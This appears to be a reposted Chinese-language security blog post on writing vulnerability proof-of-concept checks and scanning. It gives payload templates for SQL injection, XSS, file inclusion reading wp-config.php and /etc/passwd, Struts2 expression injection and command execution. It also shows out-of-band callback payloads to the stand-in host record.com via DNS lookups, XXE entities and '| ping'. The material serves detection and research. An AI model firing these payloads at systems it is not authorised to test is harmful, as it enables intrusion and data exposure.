說說漏洞檢測的那些事兒


說說漏洞檢測的那些事兒

好像很久沒發文了,近日心血來潮准備談談 “漏洞檢測的那些事兒”。現在有一個現象就是一旦有危害較高的漏洞的驗證 PoC 或者利用 EXP  被公布出來,就會有一大群飢渴難忍的帽子們去刷洞,對於一個路人甲的我來說,看得有點眼紅。

刷洞歸刷洞,蛋還是要扯的。漏洞從披露到研究員分析驗證,再到 PoC  編寫,進而到大規模掃描檢測,在這環環相扣的漏洞應急生命周期中,我認為最關鍵的部分應該算是 PoC編寫 和 漏洞檢測 這兩個部分了:

PoC編寫 - 復現漏洞環境,將漏洞復現流程代碼化的過程

漏洞檢測 - 使用編寫好的 PoC 去驗證測試目標是否存在着漏洞,需要注意的是在這個過程(或者說是在編寫 PoC  的時候)需要做到安全、有效和無害,盡可能或者避免掃描過程對目標主機產生不可恢復的影響

首先來說說 PoC 編寫。編寫 PoC  在我看來是安全研究員或者漏洞分析者日常最基礎的工作,編寫者把漏洞驗證分析的過程通過代碼描述下來,根據不同類型的漏洞編寫相應的 PoC。根據常年編寫 PoC  積累下來的經驗,個人認為在編寫 PoC 時應遵循幾個准側,如下:

隨機性

確定性

通用型

可能你會覺得我太學術了?那么我就一點一點地把他們講清楚。

0x01 PoC 編寫准則 & 示例

i. 隨機性

PoC 中所涉及的關鍵變量或數據應該具有隨機性,切勿使用固定的變量值生成  Payload,能夠隨機生成的盡量隨機生成(如:上傳文件的文件名,webshell 密碼,Alert 的字符串,MD5  值),下面來看幾個例子(我可真沒打廣告,例子大都使用的 pocsuite PoC 框架):

上圖所示的代碼是 WordPress 中某個主題導致的任意文件上傳漏洞的驗證代碼關鍵部分,可以看到上面使用了kstest.php  作為每一次測試使用的上傳文件名,很明顯這里是用的固定的文件名,違背了上面所提到的隨機性准側。這里再多啰嗦一句,我並沒有說在 PoC  中使用固定的變量或者數據有什么不對,而是覺得將能夠隨機的數據隨機化能夠降低在掃描檢測的過程所承擔的一些風險(具體有什么風險請自行腦補了)。

根據隨機性准側可修改代碼如下:

更改后上傳文件的文件名每次都為隨機生成的 6 位字符,個人認為在一定程度上降低了掃描檢測交互數據被追蹤的可能性。

ii. 確定性

PoC 中能通過測試返回的內容找到唯一確定的標識來說明該漏洞是否存在,並且這個標識需要有針對性,切勿使用過於模糊的條件去判斷(如:HTTP  請求返回狀態,固定的頁面可控內容)。同樣的,下面通過實例來說明一下:

上圖所示的代碼是某 Web 應用一個 UNION 型 SQL 注入的漏洞驗證代碼,代碼中直接通過拼接 -1' union select 1,md5(1)  -- 來進行注入,因該漏洞有數據回顯,所以如果測試注入成功頁面上會打印出 md5(1)  的值c4ca4238a0b923820dcc509a6f75849b,顯然的這個 PoC 看起來並沒有什么問題,但是結合准則第一條隨機性,我覺得這里應該使用  md5(rand_num) 作為標識確定更好,因為隨機化后,准確率更高:

這里也不是坑你們,萬一某個站點不存在漏洞,但頁面中就是有個 c4ca4238a0b923820dcc509a6f75849b,你們覺得呢?

講到這里,再說說一個 Python requests  庫使用者可能會忽視的一個問題。有時候,我們在獲取到一個請求返回對象時,會像如下代碼那樣做一個前置判斷:

可能有人會說了,Python 中條件判斷非空即為真,但是這里真的是這么處理的么?並不是,經過實戰遇到的坑和后來測試發現,Response  對象的條件判斷是通過 HTTP 返回狀態碼來進行判斷的,當狀態碼范圍在 [400, 600] 之間時,條件判斷會返回 False。(不信的自己測試咯)

我為什么要提一下這個點呢,那是因為有時候我們測試漏洞或者將 Payload 打過去時,目標可能會因為后端處理邏輯出錯而返回  500,但是這個時候其實頁面中已經有漏洞存在的標識出現,如果這之前你用剛才說的方法提前對 Response  對象進行了一個條件判斷,那么這一次就會導致漏報。So,你們知道該怎么做了吧?

iii. 通用性

PoC 中所使用的 Payload 或包含的檢測代碼應兼顧各個環境或平台,能夠構造出通用的 Payload  就不要使用單一目標的檢測代碼,切勿只考慮漏洞復現的環境(如:文件包含中路徑形式,命令執行中執行的命令)。下圖是 WordPress  中某個插件導致的任意文件下載漏洞:

上面驗證代碼邏輯簡單的說就是,通過任意文件下載漏洞去讀取 /etc/passwd  文件的內容,並判斷返回的文件內容是否包含關鍵的字符串或者標識。明顯的,這個 Payload 只適用於 *nix 環境的情況,在 Windows  平台上並不適用。更好的做法應該是根據漏洞應用的環境找到一個必然能夠體現漏洞存在的標識,這里,我們可以取 WordPress 配置文件 wp-config.php  來進行判斷(當然,下圖最終的判斷方式可能不怎么嚴謹):

這么一改,Payload 就同時兼顧了多個平台環境,變成通用的了。

大大小小漏洞的 PoC 編寫經驗讓我總結出這三點准則,你要是覺得是在扯蛋就不用往下看了。QWQ

0x02 漏洞檢測方法 & 示例

“漏洞檢測!漏洞檢測?漏洞檢測。。。”,說了這么多,到底如何去歸納漏洞檢測的方法呢?在我看來,根據 Web  漏洞的類型特點和表現形式,可以分為兩大類:直接判斷 和 間接判斷。

直接判斷:通過發送帶有 Payload 的請求,能夠從返回的內容中直接匹配相應狀態進行判斷

間接判斷:無法通過返回的內容直接判斷,需借助其他工具間接的反應漏洞觸發與否

多說無益,還是直接上例子來體現一下吧(下列所示 Payloads 不完全通用)。

1. 直接判斷

i. SQLi(回顯)

對於有回顯的 SQL 注入,檢測方法比較固定,這里遵循 “隨機性” 和 “確定性” 兩點即可。

Error Based SQL Injection

payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..." 
2.condition: (rand_str1 + rand_str2) in response.content 

 

針對報錯注入來說,利用隨機性進行 Payload  構造可以比較穩定和准確地識別出漏洞,固定字符串會因一些小概率事件造成誤報。不知道大家是否明白上面兩行代碼的意思,簡單的說就是 Payload  中包含一個可預測結果的隨機數據,驗證時只需要驗證這個可預測結果是否存在就行了。

UNION SQL Injection

payload1: "... union select md5(rand_num) ..." 
2.condition1: md5(rand_num) in response.content 
3.  
4.payload2: "... union select concat(rand_str1, rand_str2) ..." 
5.condition2: (rand_str1 + rand_str2) in response.content 

 

md5(rand_num) 這個很好理解,MySQL 中自帶函數,當 Payload 執行成功時,因具有回顯所以在頁面上定有md5(rand_num)  的哈希值,因 Payload 具有隨機性,所以誤報率較低。

ii. XSS(回顯)

payload: "... var _=rand_str1+rand_str2;confirm(_); ..." 
2.condition: (rand_str1 + rand_str2) in response.content 

 

因沒怎么深入研究過 XSS 這個東西,所以大家就意會一下示例代碼的意思吧。QWQ

iii. Local File Inclusion/Arbitrary File Download(回顯)

本地文件包含和任意文件下載的最大區別在哪?本地文件包含不僅能夠獲取文件內容還可以動態包含腳本文件執行代碼,而任意文件下載只能獲取文件內容無法執行代碼。XD

所以呢,在針對此類漏洞進行檢測時,在進行文件包含/下載測試的時候需要找一個相對 Web 應用固定的文件作為測試向量:

payload: "... ?file=../../../fixed_file ..." 
2.condition: (content_flag_in_fixed_file) in response.content  

 

例如 WordPress 應用路徑下 ./wp-config.php  文件是應用默認必須的配置文件,而文件中的特殊字符串標識require_once(ABSPATH . 'wp-settings.php');  通常是不會去改動它的(當然也可以是其他的特征字符串),掃描文件下載時只需要去嘗試下載 ./wp-config.php  文件,並檢測其中的內容是否含有特征字符串即可判斷是否存在漏洞了。

iv. Remote Code/Command Execution(回顯)

遠程代碼/命令執行都是執行,對該類漏洞要進行無害掃描,通常的做法是打印隨機字符串,或者運行一下特征函數,然后檢查頁面返回是否存在特征標識來確認漏洞與否。

payload: "... echo md5(rand_num); ..." 
2.condition: (content_flag) in response.content 

 

當然了,要執行什么樣的特征命令這還需要結合特定的漏洞環境來決定。

v. SSTI/ELI(回顯)

模板注入和表達式注入相對於傳統的 SQLi 和 XSS 來說,應該算得上是在開框架化、整體化的過程中產生的問題,當模板內容可控時各種傳統的 Web  漏洞也就出現了,XSS、命令執行都能夠通過模板注入活着表達式注入做到。曾經風靡一時的 Struts2  漏洞我覺得都能歸到此類漏洞中。通常檢測只需構造相應模板語言對應的表達式即可,存在注入表達式會得以執行並返回內容:

payload1: "... param=%(rand_num1 + rand_num2) ..." 
2.condition1: (rand_num1 + rand_num2) in response.content 
3.  
4.payload2: "... param=%(rand_num1 * rand_num2) ..." 
5.condition2: (rand_num1 * rand_num2) in response.content 
6.  
7.payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .." 
8.condition3: (rand_str1+ rand_str2) in response.content 

 

vi. 文件哈希

有時候漏洞只與單個文件有關,例如 Flash、JavaScript  等文件造成的漏洞,這個時候就可以利用文件哈希來直接判斷是否存在漏洞。掃描檢測時,首先需要給定路徑下載對應的文件然后計算哈希與統計的具有漏洞的所有文件哈希進行比對,匹配成功則說明漏洞存在:

payload: "http://vuln.com/vuln_swf_file.swf" 
2.condition: hash(vul_swf_file.swf) == hash_recorded 

 

以上就是針對 Web 漏洞檢測方法中的 “直接判斷” 進行了示例說明,因 Web  漏洞類型繁多且環境復雜,這里不可能對其進行一一舉例,所舉的例子都是為了更好的說明 “直接判斷” 這種檢測方法。:)

2. 間接判斷

“無回顯?測不了,掃不了,很尷尬!怎么辦。。。“

在很久很久之前,我遇到上訴這些漏洞環境時是一臉懵逼的 (⇀‸↼‶),一開始懂得了用回連進行判斷,后來有了 python -m  SimpleHTTPServer 作為簡單實時的 HTTP Server 作為回連監控,再后來有了《Data Retrieval over DNS in SQL  Injection Attacks》這篇 Paper,雖然文章說的技術點是通過 DNS 查詢來獲取 SQL 盲注的數據,但是 "Data Retrieval  over DNS" 這種技術已經可以應用到大多數無法回顯的漏洞上了,進而出現了一些公開的平台供安全研究愛好者們使用,如:烏雲的 cloudeye 和  Bugscan 的 DNSLog,當然還有我重寫的 CEYE.IO 平台。

"Data Retrieval over DNS" 技術原理其實很簡單,首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名  ceye.io 的 nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io  及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下(借的 Ricter 的):

 

說了那么多,還是不知道怎么用么?那就直接看示例吧(所以后端平台都用 CEYE.IO 作為例子)。

i. XSS(無回顯)

XSS 盲打在安全測試的時候是比較常用的,“看到框就想 X” 也是每位 XSSer 的信仰:

payload: "... ><img src=http://record.com/?blindxss ..." 
2.condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs 

 通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:

ii. SQLi(無回顯)

SQL 注入中無回顯的情況是很常見的,但是有了 "Data Retrieval over DNS"  這種技術的話一切都變得簡單了,前提是目標環境符合要求。《HawkEye Log/Dns 在Sql注入中的應用》這篇文章提供了一些常見數據庫中使用 "Data  Retrieval over DNS" 技術進行盲注的 Payloads。

payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli')) 

    02.condition: {*.record.com LOG} in DNS queries LOGs 

 只要目標系統環境符合要求並且執行了注入的命令,那么就會去解析預先設置好的域名,同時通過監控平台能夠拿到返回的數據。

iii. SSRF(無回顯)

根據上面兩個例子,熟悉 SSRF 的同學肯定也是知道怎么玩了:

payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..." 
2.condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs 

 

iv. RCE(無回顯)

命令執行/命令注入這個得好好說一下,我相信很多同學都懂得在命令執行無法回顯的時候借用類似 python -m SimpleHTTPServer  這樣的環境,采用回連的檢測機制來實時監控訪問日志。*nix 系統環境下一般是使用 curl 命令或者wget 命令,而 windows  系統環境就沒有這么方便的命令去直接訪問一個鏈接,我之前常用的是 ftp 命令和 PowerShell  中的文件下載來訪問日志服務器。現在,有了一個比較通用的做法同時兼顧 *nix 和 windows 平台,那就是 ping 命令,當 ping  一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求,當命令真正被執行且平台收到回顯時就能說明漏洞確實存在。

payload: "... | ping xxflag.record.com ..." 
2.condition: {xxflag.record.com LOG} in DNS queries LOGs 

 

 

通過這幾個 "間接判斷" 的示例,相信大家也大概了解了在漏洞無回顯的情況下如何進行掃描和檢測了。更多的無回顯 Payloads 可以通過  http://ceye.io/payloads 進行查看。(勿噴)

0x03 應急實戰舉例

原理和例子扯了這么多,也該上上實際的掃描檢測案例了。

Java 反序列化(通用性舉例,ftp/ping)

首先說說 15 年底爆發的 Java 反序列化漏洞吧,這個漏洞應該算得上是 15 年 Web 漏洞之最了。記得當時應急進行掃描的時候,WebLogic  回顯 PoC 並沒有搞定,對其進行掃描檢測的時候使用了回連的方式進行判斷,又因為待測目標包含 *nix 和 windows 環境,所以是寫了兩個不同的  Payloads 對不同的系統環境進行檢測,當時掃描代碼的 Payloads 生成部分為:

i. *nix

當時真實的日志內容:

 

可以看到我在構造 Payload 的時候通過鏈接參數來唯一識別每一次測試的 IP  地址和端口,這樣在檢查訪問日志的時候就能確定該條記錄是來自於哪一個測試目標(因為入口 IP 和出口 IP  可能不一致),同時在進行批量掃描的時候也能方便進行目標確認和日志處理。

ii. windows

 當時真實的日志內容:

因為 windows 上的 ftp 命令無法帶類似參數一樣的標志,所以通過觀察 FTP Server 連接日志上不是很好確認當時測試的目標,因為入口 IP  和出口 IP 有時不一致。

上面的這些 PoC 和日志截圖都是去年在應急時真實留下來的,回想當時再結合目前的一些知識,發現使用通用的 Payloadping  xxxxx.record.com 並使用 "Data Retrieval over DNS"  技術來收集信息日志能夠更為通用方便地進行檢測和掃描。所以,最近更換了一下 Payload 結合 CEYE.IO 平台又對 WebLogic  反序列化漏洞的影響情況又進行了一次摸底:

這里添加一個隨機字符串作為一個子域名的一部分是為了防止多次檢測時本地 DNS 緩存引起的問題(系統一般會緩存 DNS  記錄,同一個域名第一次通過網絡解析得到地址后,第二次通常會直接使用本地緩存而不會再去發起查詢請求)。

相應平台的記錄為(數量略多):

(順便說一下,有一個這樣的平台還是很好使的 QWQ)

不知不覺就寫了這么多 QWQ,好累。。。能總結和需要總結的東西實在太多了,這次就先寫這么一點吧。

不知道仔細看完這篇文章的人會有何想法,也許其中的一些總結你都知道,甚至比我知道的還要多,但我寫出來只是想對自己的經驗和知識負責而已,歡迎大家找我討論掃描檢測相關的東西。:)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM